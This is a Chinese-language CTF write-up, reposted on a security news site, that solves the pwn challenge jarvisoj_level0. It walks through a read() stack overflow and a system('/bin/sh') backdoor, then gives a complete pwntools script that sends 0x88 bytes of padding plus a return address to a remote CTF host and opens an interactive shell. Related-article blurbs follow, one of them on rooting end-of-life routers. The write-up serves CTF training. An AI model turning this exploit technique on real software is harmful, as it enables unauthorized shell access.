【CTF】jarvisoj_level0"

admin 2026-11-01 01:21:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

【CTF】jarvisoj\_level0

原创

devildollking
devildollking

熔城Sec

2026年10月29日 09:00
辽宁

去阅读

01

题目简介

  • 题目名称:jarvisoj\_level0
  • 题目平台:CTF²
  • 题目类型:PWN****

02

解题步骤

下载附件,使用checksec查看文件属性,开启了 NX(栈不可执行)保护

使用IDA打开进行编译,主函数非常的简略

int __cdecl main(int argc, const char **argv, const char **envp){  write(1, \"Hello, World\
\", 0xDuLL);  return vulnerable_function(1LL, \"Hello, World\
\");}

这里有个vulnerable\_function,我们追踪一下函数

ssize_t vulnerable_function(){  char buf; // [rsp+0h] [rbp-80h]
  return read(0, &buf, 0x200uLL);}

从代码中分析出来从buf开始到rbp之间有0x80=128字节的栈空间。64 位程序栈帧大致是

高地址+------------------+| 返回地址 ret      |  <- rbp + 8+------------------+| 保存的旧 rbp      |  <- rbp+------------------+| buf 缓冲区        |  <- rbp - 0x80| ...              || ...              |+------------------+低地址

并且还存在后门函数callsystem

int callsystem(){  return system(\"/bin/sh\");}

所以我们只需要利用 read 的栈溢出覆盖 vulnerable_function 的返回地址,让函数返回时跳转到 callsystem,这样我们就能构造payload了

import sslfrom pwn import *
# 手动创建一个 SSL 上下文,并关闭证书验证ssl_context = ssl.create_default_context()ssl_context.check_hostname = Falsessl_context.verify_mode = ssl.CERT_NONE
HOST = '3d165ac0917543f99ce5b338.tcp-ctf2.dasctf.com'PORT = 9999
# 使用 ssl_context 参数p = remote(HOST, PORT, ssl=True, ssl_context=ssl_context)
# 等价于 ncat 的 --ssl-servername,pwntools 会默认用 host 作为 SNI# 如果需要显式指定,可以使用 sni 参数:# p = remote(HOST, PORT, ssl=True, ssl_context=ssl_context, sni=HOST)
payload = b'a' * 0x88 + p64(0x400596)p.send(payload)p.interactive()

    【CTF】jarvisoj_level0" 网络安全文章

    【CTF】jarvisoj_level0"

    本文为CTFPWN题目jarvisoj_level0的解题记录。题目开启了NX保护,通过IDA分析发现vulnerable_function存在栈溢出漏洞,可利用read函数覆盖返回地址跳转到后门函数callsystem执行system(‘/bin/sh’)。文章提供了详细的栈帧分析和利用SSL连接的完整payload构造方法,可操作性强,适合CTF入门学习。
    参编单位征集|吉利汽车车载边缘网络通信大会暨《车载边缘网络技术白皮书》启动会定档11月浙江宁波" 网络安全文章

    参编单位征集|吉利汽车车载边缘网络通信大会暨《车载边缘网络技术白皮书》启动会定档11月浙江宁波"

    吉利汽车联合产业链伙伴将于2026年11月20日在宁波举办车载边缘网络通信大会,并启动《车载边缘网络技术白皮书》编制。白皮书将覆盖RCP、10BASE-T1S等多项技术,聚焦六大研究方向,已有超80家单位参与,旨在推动车载边缘网络技术从验证走向产业落地。
    EOL路由照样打穿:NetgearWGR614v9UART+BitdefenderBoxSPI降级RCE" 网络安全文章

    EOL路由照样打穿:NetgearWGR614v9UART+BitdefenderBoxSPI降级RCE"

    本文记录TrailofBits团队在DistrictConJunkyard比赛中攻破两款EOL家庭网络设备的研究。NetgearWGR614v9通过UART获取访问,利用UPnP认证绕过与缓冲区溢出实现远程root;BitdefenderBoxV1通过SPI提取固件,利用未认证降级与命令注入实现持久化控制。文章强调EOL设备因厂商停止更新而更易受攻击,建议用户关注设备支持周期并加强固件安全防护。
    评论:0   参与:  0